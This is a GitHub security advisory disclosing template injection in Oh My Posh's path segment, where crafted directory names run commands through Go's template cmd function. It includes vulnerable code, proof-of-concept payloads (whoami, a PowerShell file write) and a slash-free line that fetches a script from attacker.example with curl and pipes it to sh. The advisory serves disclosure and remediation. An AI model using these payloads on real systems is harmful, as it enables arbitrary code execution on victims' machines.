Skip to content

Oh My Posh: Arbitrary command execution via template injection in the path segment

High severity GitHub Reviewed Published Jul 23, 2026 in JanDeDobbeleer/oh-my-posh • Updated Jul 24, 2026

Package

gomod github.com/jandedobbeleer/oh-my-posh (Go)

Affected versions

<= 29.35.0

Patched versions

29.35.1

Description

Summary

Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.

Details

src/segments/path.go, setStyle():

// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
    pt.Path = txt
}

pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:

func cmd(command string, args ...string) (string, error) {
    output, err := env.RunCommand(command, args...)
    return strings.TrimSpace(output), err
}

Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.

PoC

Config (a single default path segment):

{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
  {"type":"path","style":"plain","foreground":"#ffffff",
   "template":"{{ .Path }}","properties":{"style":"full"}}]}]}

Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):

$ oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username>        # whoami executed, output substituted

Side effect (file write), slash-free payload, verified on Windows:

$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d

Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.

Impact

Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.

The path is split on / (and \ on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS {{ cmd sh -c curl${IFS}-s${IFS}attacker.example|sh }} needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name ({{ cmd bash x }}).

Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (folder_separator_template, mapped_locations, folder_format) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape {{/}} in raw folder-name components before insertion, or use a data-only function map (no cmd/readFile/stat/glob) for path resolution. The same double-evaluation pattern is worth reviewing at src/segments/options/map.go.

References

Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Jul 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-6xj8-qv9j-xcjq

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.